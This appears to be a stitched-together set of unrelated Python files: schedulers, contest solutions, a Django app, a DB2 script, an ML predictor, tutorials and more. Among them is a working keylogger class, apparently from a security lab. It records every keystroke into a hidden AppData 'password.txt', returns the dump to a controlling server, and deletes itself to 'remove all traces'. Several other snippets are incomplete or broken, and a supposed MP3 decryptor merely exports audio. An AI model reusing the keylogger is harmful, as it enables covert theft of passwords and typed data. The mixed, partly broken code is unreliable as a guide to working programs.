        if selected_server == server.id:
            current_server = server
            break
    with open(path, 'r') as json_file:
        data = json.load(json_file)
    JobCOM = data[0]['complexity_level']
    JonLen = data[0]['length']
    ram = JobCOM*JonLen
    process_info = data[0]

    # 若ram不足则需重新分配
    if current_server.availiable_ram < ram:
        return

    # 定义临界值 若 可用内存小于此值则认为server不可用
    if current_server.availiable_ram < 0:
        current_server.availiable = False

    current_server.availiable_ram = current_server.availiable_ram - ram
    process = multiprocessing.Process(target=job_and_update,args=(JonLen,JobCOM,queue,process_info))
    process.start()
    process.join()

def instances():
    with open('servers.json', 'r') as json_file:
        server_data = json.load(json_file)

    for server_info in server_data:
        server = SubServers(server_info["name"], server_info["ID"], server_info["GPU"], server_info["weight"],24,True)
        server_instances.append(server)

gpus1 = [
    GPU("1", "NV RTX 3008", "1", "2", 10240, 68),
    GPU("2", "NV GTX 1660", "1", "2", 6144, 22),
    GPU("3", "AMD RX 5700 XT", "1", "2", 8192, 40),
]
gpus2 = [
    GPU("1", "NV RTX 3008", "1", "2", 10240, 68),
    GPU("2", "NV GTX 1660", "1", "2", 6144, 22),
    GPU("3", "AMD RX 5700 XT", "1", "2", 8192, 40),
]
# 创建一个拥有多个GPU的资源池
gpu_pool1 = GPUPool(gpus1)

gpu_pool2 = GPUPool(gpus2)

q = multiprocessing.Queue()

# process = multiprocessing.Process(target=worker, args=(q,))
# process.start()

# pbar = tqdm.tqdm(total=100)

# while True:

#         item = q.get(timeout=5)  # 从子进程获取进度信息
#         pbar.update(1)
#         if not process.is_alive():
#             break  # 子进程已经完成，退出循环

# pbar.close()
# process.join()

shared_values = []

def worker(pid):
    shared_pid = os.getpid()
    shared_progress

shared_progress = multiprocessing.Value('i', 0 ,lock=False)
shared_pid = multiprocessing.Value('i', 0 ,lock=False)
process = multiprocessing.Process(target=worker, args=(q,))
process.start()

pbar = tqdm.tqdm(total=100)

while True:
    if pbar.n == shared_progress:
        time.sleep(2)
        #avoid busy waiting
    pbar.n = shared_progress  # 从子进程获取进度信息
    pbar.last_print_n = shared_progress
    pbar.update(0)
    if not process.is_alive():
        break  # 子进程已经完成，退出循环

pbar.close()
process.join()

def daemon_listener(q):
    logging.basicConfig(filename="jasmine_shell_log.log",
                        level=logging.INFO, format="[%(levelname)s]: %(message)s")

    while True:
        try:
            msg = q.get()
            logging.info(msg)
            if "exit" in msg:
                break
        except Exception as e:
            logging.error(f"Error in listener: {e}")


from collections import defaultdict

students = defaultdict(set)

n = int(input())
count_array = [[] for _ in range(101)]

for i in range(n):
    n, m = input().split(' ')
    count_array[int(m)].append(n)

for i in count_array:
    if i :
        for j in i:
            print(j, end=' ')


import os, time
from pynput.keyboard import Listener

class Keylogger:

    def __init__(self):
        """
        This keylogger class works very similar to the one submitted for lab 12. The init function initializes
        the main variables to be used. It is important to note the location of the file_to_write if you plan to see the text
        file while the keylogger is in action.
        """
        self.ABORT = False
        self.keys = []
        self.count = 0
        self.file_to_write = os.environ['appdata'] + '\password.txt'    # for running on Windows
        #file_to_write = 'passwords.txt'      # for running on Linux and Mac

    def start(self):
        """
        The start function is intended to physically start the keylogger. The file path is printed to allow the file to
        be found more easily, and a listener is initialized as a class object so it can be accessed later.
        The listener is started, meaning all keystrokes are captured.
        A while loop starts checking for the ABORT flag. If another function, such as a stop command, sends the abort
        signal the listener is stopped and the loop breaks.
        """
        print(self.file_to_write)  # This step is just intended to help find the key dump file
        self.listener = Listener(on_press = self.on_press)
        self.listener.start()
        while (True):
            if self.ABORT == True:
                self.listener.stop()
                print("abort detected")
                break
        exit()

    def on_press(self, key):
        """
        The on_press function handles the individual keystrokes. The key is printed to screen, a list is expanded,
        and the write_file function is called with the keybuffer. The buffer is then reset to avoid the same keys being
        added constantly to the file.
        """
        print (key, " was pressed!")
        # append key to keys
        self.keys.append(key)
        # increment count by 1
        self.count += 1
        # if count >=1, reset count, call the write_file function, pass keys as parameter
        if self.count >= 1:
            self.count = 0
            self.write_file(self.keys)
            print ("write was called")
            self.keys = []
        # reset keys

    def write_file(self, keybuffer):
        """
        The write_file function parses the various keys and writes them to the output file. The file path
        is printed each time. The file is opened in append+ mode in the event it needs to be read. Quotes are stripped
        characters, and placeholder text from pynput is replaced with more readable text.
        Once the key has been parsed, it is written to file and printed to console.
        """
        file_to_write = self.file_to_write
        print (file_to_write)
        with open(file_to_write, "a+") as file:  # open file_to_write in append mode
            for key in keybuffer:
                k = str(key).strip("'")  # strip end quotes off the characters
                if k == "Key.backspace":
                    k = str(key).replace("Key.backspace", "Backspace")  # replace backspace with 'Backspace'
                elif k == "Key.enter":
                    k = str(key).replace("Key.enter", "\n")  # replace enter with "\n
                elif k == "Key.caps_lock":
                    k = str(key).replace("Key.caps_lock", "CAPS LOCK")  # replace caps lock with caps lock
                elif k == "Key.space":
                    k = str(key).replace("Key.space", " ")  # replace space with space
                try:
                    file.write(k)
                    print (k, "was written")
                except Exception as e:
                    print (e.args)

    def readkeys(self):
        """
        This function is intended to return the contents of the output file to the server when keylog_dump is issued.
        The function just opens the file, reads the entire file into a buffer, and returns that buffer.
        In the server, that buffer is then deposted into dump.txt and placed on the desktop
        """
        file_to_write = self.file_to_write
        with open(file_to_write, 'r') as file:
            dump = ''
            while True:
                buffer = file.readline()
                if buffer == '':
                    break
                dump += buffer
            return dump

    def self_destruct(self):
        """
        The self_destruct function is just to remove all traces. It sets the abort flag to TRUE so that the loop stops,
        checks to see if the output file exists, and removes it if it does.
        """
        print("You're going to the shadow realm, Jimbo")
        #if the keylog dump file still exists, destroy it
        file_to_write = self.file_to_write
        self.ABORT = True
        if os.path.exists(file_to_write):
            os.remove(file_to_write)


#!/usr/bin/env python
# coding: utf-8

# In[1]:

#import all libraries that will be used

from collections import Counter
import matplotlib.pyplot as plt
import seaborn as sns
import pandas as pd
import numpy as np
import warnings
warnings.simplefilter(action='ignore', category=FutureWarning)
from scipy import stats
from sklearn.datasets import make_classification
from sklearn.neighbors import KNeighborsClassifier
from sklearn.ensemble import RandomForestClassifier
from imblearn.over_sampling import RandomOverSampler
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
from sklearn.metrics import f1_score
from sklearn.model_selection import cross_val_score
import pickle
import sys
import argparse

# In[2]:

# Data Import and Cleaning

# In[48]:

#import data
def main(input_file):
    missing_values = ["n/a","na","--", "NaN"] #list of possibles missing values
    data_raw = pd.read_csv(input_file, sep =',', na_values = missing_values)
    data_fs = data_raw.copy()

    #removing not used features
    data_fs = data_fs.drop(['index'], axis =1).copy() #droping index
    data_fs = data_fs.drop(['cp'], axis =1).copy() #droping cp

    #storing median values
    median_s = data_fs['slope'].median()
    median_c = data_fs['chol'].median()
    median_a = data_fs['age'].median()
    median_tr = data_fs['trestbps'].median()
    median_th= data_fs['thalach'].median()
    median_o = data_fs['oldpeak'].median()
    median_trf = data_fs['trf'].median()

    #filling NA values with the median
    data_fs['slope'].fillna(median_s, inplace = True)
    data_fs['chol'].fillna(median_c, inplace = True)
    data_fs['age'].fillna(median_a, inplace = True) #filling NA with the median
    data_fs['trestbps'].fillna(median_tr, inplace = True) #filling NA with the median
    data_fs['thalach'].fillna(median_th, inplace = True) #filling NA with the median
    data_fs['oldpeak'].fillna(median_o, inplace = True) #filling NA with the median
    data_fs['oldpeak'].fillna(median_trf, inplace = True) #filling NA with the median

    #Removing NA values for discrete features
    data_fs = data_fs[(data_fs['fbs'].notna())    |
                     (data_fs['restecg'].notna()) |
                     (data_fs['exang'].notna())   |
                     (data_fs['ca'].notna())      |
                     (data_fs['thal'].notna())    |
                     (data_fs['nar'].notna())     |
                     (data_fs['hc'].notna())      |
                     (data_fs['sk'].notna())       ]

    #Encoding
    enco_data = data_fs.copy()
    unique = enco_data['sex'].unique()
    enco_data['sex'] = enco_data.sex.str.upper()
    enco_data['sex'] = enco_data['sex'].apply(lambda x: unique.tolist().index(x))

    #Feature selection
    eda = enco_data.copy()
    eda = eda[['age','sex','trestbps','chol','exang','oldpeak','slope','thalach', 'trf']]

    #Outlier Removal
    df = eda.copy()
    df = df[(np.abs(stats.zscore(df[['trestbps'] +['chol'] + ['oldpeak'] + ['thalach']]) < 2.2).all(axis=1))] #outlier removal

    #Separation of Target and Features
    X = df.iloc[:, df.columns != 'sex']  #independent columns
    y = df.iloc[:,1]    #target column i.e sex

    #Prediction CSV Output
    loaded_model = pickle.load(open("rf_model.pkl", 'rb'))
    y_pred = loaded_model.predict(X)
    result = df.copy()
    result[['sex']] = y_pred
    result = result[['sex']]
    result[['sex']] = result['sex'].replace({0: 'F', 1: 'M'})
    result.to_csv('newsample_PREDICTIONS_{candidate_fullname}.csv', index = False)

if __name__ == "__main__":
   input_file = sys.argv[2]
   parent_subparser = argparse.ArgumentParser(add_help=False)
   parent_subparser.add_argument("--input_file", required=True, help="csv file")
   main(input_file)


#!/usr/bin/env python3

import collections
import functools

class memoized:

    def __init__(self, func):
        self.func = func
        self.cache = {}

    def __call__(self, *args):

        # if args is not hashable, perform the computation
        if not isinstance(args, collections.Hashable):
            return self.func(*args)

        if args not in self.cache:
            self.cache[args] = self.func(*args)

        return self.cache[args]

    def __repr__(self):
        return self.func.__doc__

    def __get__(self, obj, objtype):
        return functools.partial(self.__call__, obj)

def xadd(a, b, mod):
    if a > mod:
        a = a % mod

    if b > mod:
        b = b % mod

    return (a + b) % mod

@memoized
def xmul(a, b, mod):
    if a > mod:
        a = a % mod

    if b > mod:
        b = b % mod

    return (a * b) % mod

@memoized
def xgcf(a, b):
    s1, s2 = 1, 0
    t1, t2 = 0, 1

    while b:
        q, r = divmod(a, b)

        a, b = b, r

        s2, s1 = s1 - q * s2, s2
        t2, t1 = t1 - q * t2, t2

    return a, s1, t1

def xdiv(a, b, mod):
    return xmul(a, xgcf(b, mod)[1], mod)

@memoized
def factorial(n, mod):
    if n == 0 or n == 1:
        return 1

    result = 1
    for i in range(n, 1, -1):
        result = xmul(result, i, mod)

    return result

@memoized
def choose_n_k(n, k, mod):
    if k > n:
        return 0

    if k == 0 or k == n:
        return 1

    result = 1
    for i in  range(0, min(k, n - k)):
        result = xdiv(xmul(result, (n - i), mod), (i + 1), mod)

    return result

# Read: compute for two, meaning compute for two islands
def compute_42(a, b, mod):
    total = 0;
    for k in range(min(a, b) + 1):
        ca = choose_n_k(a, k, mod)
        cb = choose_n_k(b, k, mod)

        total = xadd(total, xmul(xmul(ca, cb, mod), factorial(k, mod), mod), mod)

    return total

if __name__ == '__main__':
    a, b, c = list(map(int, input().split()))

    modulus = 998244353;

    total0 = compute_42(a, b, modulus);
    total1 = compute_42(a, c, modulus);
    total2 = compute_42(b, c, modulus);

    print(xmul(xmul(total0, total1, modulus), total2, modulus))


import ibm_db

from config import dsn_driver, dsn_database, dsn_hostname, dsn_port, dsn_protocol, dsn_uid , dsn_pwd, dsn_security

dsn = (
    "DRIVER={0};"
    "DATABASE={1};"
    "HOSTNAME={2};"
    "PORT={3};"
    "PROTOCOL={4};"
    "UID={5};"
    "PWD={6};"
    "SECURITY={7};"
).format(dsn_driver, dsn_database, dsn_hostname, dsn_port, dsn_protocol, dsn_uid , dsn_pwd, dsn_security)

try:
    conn = ibm_db.connect(dsn, "", "")
    print("Connected to database: ", dsn_database, "as user: ", dsn_uid, "on host: ", dsn_hostname)
except:
    print("Unable to connect: ", ibm_db.conn_errormsg())

# createQuery = "create view EMPSALARY as select EMP_ID, F_NAME, L_NAME, B_DATE, SEX, SALARY from EMPLOYEES"
# createStmt = ibm_db.exec_immediate(conn, createQuery)

# selectQuery = "select * from EMPSALARY"

# selectStmt = ibm_db.exec_immediate(conn, selectQuery)

# print(ibm_db.fetch_both(selectStmt))

createQuery = "create or replace view EMPSALARY as select EMP_ID, F_NAME, L_NAME, B_DATE, SEX, JOB_TITLE, MIN_SALARY, MAX_SALARY from EMPLOYEES, JOBS where EMPLOYEES.JOB_ID = JOBS.JOB_IDENT"
createStmt = ibm_db.exec_immediate(conn, createQuery)

selectQuery = "select * from EMPSALARY"

selectStmt = ibm_db.exec_immediate(conn, selectQuery)

print(ibm_db.fetch_both(selectStmt))

dropViewQuery = "drop view EMPSALARY"
dropViewStmt = ibm_db.exec_immediate(conn, dropViewQuery)

selectQuery = "select * from EMPSALARY"

selectStmt = ibm_db.exec_immediate(conn, selectQuery)

print(ibm_db.fetch_both(selectStmt))


import cv2
import numpy as np

if __name__ == "__main__":
    filename = "" # Load image
    img = cv2.imread(filename, cv2.IMREAD_COLOR) # Load color image

    # Create line
    cv2.line(img, (60,60), (105, 105), (255, 0, 255), 12)

    # Create rectangle
    cv2.rectangle(img, (45, 45), (175, 175), (0, 255, 0), 4)

    # Create circle
    cv2.circle(img, (105, 105), 55, (0, 0, 255),-1)

    # Create points for polygon
    pts = np.array([[10,5], [45, 84], [120, 145], [15, 125]], np.int32)
    cv2.polylines(img, [pts], True, (0, 255, 255), 3) # True means connect first and last points

    # Create text
    font = cv2.FONT_HERSHEY_SIMPLEX
    cv2.putText(img, "OpenCV", (0, 120), font, 1, (0, 0, 0), 2, cv2.LINE_AA)

    cv2.imshow("Image with drawing", img)
    cv2.waitKey(0)
    cv2.destroyAllWindows()


# Tiempo de vida del objeto

# El tiempo que pasa desde la instanciacion del objeto hasta que es destruido
# se conoce como tiempode vida del objeto

# Conteo de referencia
# En python los programadores no se deben preocupar por el manejo de memoria
# pero es bueno conpmrender que es lo que sucede en el lenguaje
# cuando un programa instancia un objetom se reserva parte de la memoria para
# guardar las variables de instacia de esa clase

# Cada objeto tiene un campo interno que se conoce cono conteo de referencia
# este nos indica cuantas variables diferentes se refieren al mismo objeto

# Incremento de reference count
# 1. Cuando una variable adicional es asignada al mismo objeto
#    objeto2=objeto1

# 2. Cuando un objeto se pasa a una funcion y la variable del parametro local
# es referenciada al objeto
#   mifuncion(objeto1)

# 3. Cuando un objeto es colocado en un contenedor como una lista o diccionario
# milista[objeto1, objeto2, objeto3]

import sys

# creamos una clase
class clase1:
    def __init__(self, x, y):
        self.x = x
        self.y = y

objeto1 = clase1(2, 3)

# Imprimimos su conteo de referencia
# El valor quiza confunda pero en la documentacion leemos que
# el valor regresado es generalmente mayor en 1 por que incluye la
# referencia temporal como argumento al invocar getfercount

print(sys.getrefcount(objeto1))

# Asignamos variable adicional caso 1
objeto2 = objeto1
print(sys.getrefcount(objeto1))

# Asignamos variable adicional caso 3
milista = [objeto1]
print(sys.getrefcount(objeto1))

# Si creamos una nueva instancia cada quien tiene su reference count
objeto3 = clase1(8, 9)
print(sys.getrefcount(objeto1))
print(sys.getrefcount(objeto3))


# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib import messages
from django.shortcuts import render, HttpResponse, redirect
from .models import Course
# Create your views here.
def index(request):
    return render(request, "signup/index.html")

def courses(request):
    context = {
        "all_courses" : Course.objects.all(),
    }
    return render(request, "signup/index.html", context)

def add(request):
    validations = Course.objects.basic_validator(request.POST)
    if len(validations) == 0:
        Course.objects.create(
            name = request.POST['name'],
            desc = request.POST['desc'],
        )
        return redirect('/courses')
    else:
        for error in validations:
            messages.add_message(request, messages.INFO, error)
        return redirect('/')

def destroy(request, id):
    context = {
        "course" : Course.objects.get(id=id)

    }

    return render (request, "signup/destroy.html", context)

def no(request):
    return redirect ('/courses')

def yes(request, id):
    course = Course.objects.get(id=id)
    course.delete()

    return redirect ("/courses")


from collections import Counter

answer = []

while True:
    N, M = map(int, input().split())
    arr = []
    seconds = []
    if N == M == 0:
        break

    for i in range(N):
        arr += list(map(int, input().split()))

    val = Counter(arr).most_common()

    for v in val:
        if v[1] == val[1][1]:
            seconds.append(v[0])

    seconds.sort()
    answer.append(seconds)

for i in range(len(answer)):
    for j in range(len(answer[i])):
        print(answer[i][j], end=" ")
    print()

BOJ/구현/할아버지는 유명해!.py

할아버지는 유명해!.py


# 從 line_bot_api import 全部到 about_us.py
from line_bot_api import *

def about_us_event(event):
    about_us_text = '歡迎來到尚尚清潔家'
    about_us_img = 'https://i.imgur.com/6bR33SV.png'
    line_bot_api.reply_message(
        event.reply_token,
        [TextSendMessage(text=about_us_text),
         ImageSendMessage(original_content_url=about_us_img, preview_image_url=about_us_img),
         StickerSendMessage(package_id='11537', sticker_id='52002763')
         ])


import numpy as np
from numpy.core.arrayprint import get_printoptions

def plotStraightLine(graph, line):
    mask = line[0] == line[1]
    if mask[0]:
        for y in range(min(line[0][1],line[1][1]),max(line[0][1],line[1][1])+1):
            graph[line[0][0]][y] += 1
    elif mask[1]:
        for x in range(min(line[0][0],line[1][0]),max(line[0][0],line[1][0])+1):
            graph[x][line[0][1]] += 1

def plotLine(graph, line):
    if line[0][0] == line[1][0]:
        for y in range(min(line[0][1],line[1][1]),max(line[0][1],line[1][1])+1):
            graph[line[0][0]][y] += 1
    elif line[0][1] == line[1][1]:
        for x in range(min(line[0][0],line[1][0]),max(line[0][0],line[1][0])+1):
            graph[x][line[0][1]] += 1
    else:
        if line[0][0] < line[1][0]:
            if line[0][1] < line[1][1]:
                for x in range(0, line[1][0] - line[0][0]+1):
                    graph[line[0][0]+x][line[0][1]+x] += 1
            else:
                for x in range(0, line[1][0] - line[0][0]+1):
                    graph[line[0][0]+x][line[0][1]-x] += 1
        else: # it is a diagonal line. I had way more truble with this then I should
            if line[0][1] < line[1][1]:
                for x in range(line[0][0] - line[1][0]+1):
                    graph[line[0][0]-x][line[0][1]+x] += 1
            else:
                for x in range(line[0][0] - line[1][0]+1):
                    graph[line[0][0]-x][line[0][1]-x] += 1

if __name__ == '__main__':
    with open("day5\\input.txt") as f:
        cordinates = np.array([[[int(n) for n in cord.split(',')] for cord in row.split(' -> ')] for row in f.read().split('\n')])
        graph1 = np.array([[0 for i in range(0,1000)] for row in range(0,1000)])
        graph2 = np.array([[0 for i in range(0,1000)] for row in range(0,1000)])

        for line in cordinates:
            plotStraightLine(graph1, line)
            plotLine(graph2, line)

        count = 0
        #print(graph1)
        for line in graph1:
            for x in line:
                if x > 1:
                    count += 1
        print("PART1: " + str(count))
        #graph290 = np.flip(np.rot90(graph2, 3),1)
        #print(graph290)
        count2 = 0
        for line in graph2:
            for x in line:
                if x > 1:
                    count2 += 1
        print("PART2: " + str(count2))


import os
import torch
import numpy
import argparse
import random
import models

def parse_args():
    """Command-line argument parser"""
    parser = argparse.ArgumentParser(description='Fashion Recommendation System')
    parser.add_argument('--mode', type=str, choices=['train', 'test', 'run'], help='select mode (train, test, or run)')
    parser.add_argument('--dataset-path', default='./dataset', help='dataset root path (default: ./dataset)')
    parser.add_argument('--data-path', help='data path (mode : run) (default: ./dataset)')
    parser.add_argument('--inC', type=int, default=1, help='Number of input channels after reshape (default: 1)')
    parser.add_argument('--midC', type=int, default=96, help='output channel of hidden conv layer (default: 96)')
    parser.add_argument('--img-size', type=int, default=200, help='Image size for input for batch processing (default: 200)')
    parser.add_argument('--sigma', type=float, default=25, help='variance of noise (default: 0.1)')
    parser.add_argument('--batch-size', type=int, default=64, help='input batch size (default: 64)')
    parser.add_argument('--epochs', type=int, default=100, help='number of epochs to train (default: 100)')
    parser.add_argument('--learning-rate', type=float, default=0.01, help='learning rate (default: 0.01)')
    parser.add_argument('--model-path', default='./N2CModel.pht', help='save model path (default: ./N2CModel.pht)')
    parser.add_argument('--no-cuda', action='store_true', default=False, help='disables CUDA training')
    parser.add_argument('--no-rf', action='store_true', help='Do not RotateFlip transform')
    parser.add_argument('--lpfir', action='store_true', help='Linear Phase FIR Filter or NORMAL Filter')

    return parser.parse_args()

def main():
    args = parse_args()

    seed = 1
    random.seed(seed)
    numpy.random.seed(seed)
    torch.manual_seed(seed)
    torch.backends.cudnn.deterministic = True

    use_cuda = not args.no_cuda and torch.cuda.is_available()
    device = torch.device('cuda' if use_cuda else 'cpu')

    if args.mode == 'train':
        param = {'device':device, 'mode':args.mode, 'model_path':args.model_path, 'dataset_path':args.dataset_path, 'inC':args.inC, 'midC':args.midC,
            'img_size':args.img_size, 'sigma':args.sigma, 'batch_size':args.batch_size, 'lr':args.learning_rate, 'lpfir':args.lpfir, 'no_rf':args.no_rf}
        model = models.N2CModel(param)
        model.train(args.epochs, args.lpfir)

    elif args.mode == 'test':
        param = {'device':device, 'mode':args.mode, 'model_path':args.model_path, 'dataset_path':args.dataset_path,
            'inC':args.inC, 'midC':args.midC, 'img_size':args.img_size, 'sigma':args.sigma, 'batch_size':args.batch_size}
        model = models.N2CModel(param)
        model.test()

    elif args.mode == 'run':
        param = {'device':device, 'mode':args.mode, 'model_path':args.model_path, 'dataset_path':args.dataset_path,
            'inC':args.inC, 'midC':args.midC, 'sigma':args.sigma, 'data_path':args.data_path}
        model = models.N2CModel(param)
        model.run()

if __name__ == '__main__':
    main()


from pydub import AudioSegment
import os

def decrypt_file_from_mp3(mp3_file_path, output_file_path):
    # Load the MP3 file
    audio = AudioSegment.from_file(mp3_file_path, format="mp3")

    # Extract the hidden data (last part of the audio)
    hidden_data = audio[-len(audio) // 10:]

    # Export the hidden data as a separate file
    hidden_data.export(output_file_path, format="raw")

    print("File decrypted successfully:", output_file_path)

# Path to the MP3 file and output file path for the decrypted file
mp3_file_path = "soft_hidden.mp3"
output_file_path = "decrypted_file.txt"

# Call the function to decrypt the hidden file from the MP3 file
decrypt_file_from_mp3(mp3_file_path, output_file_path)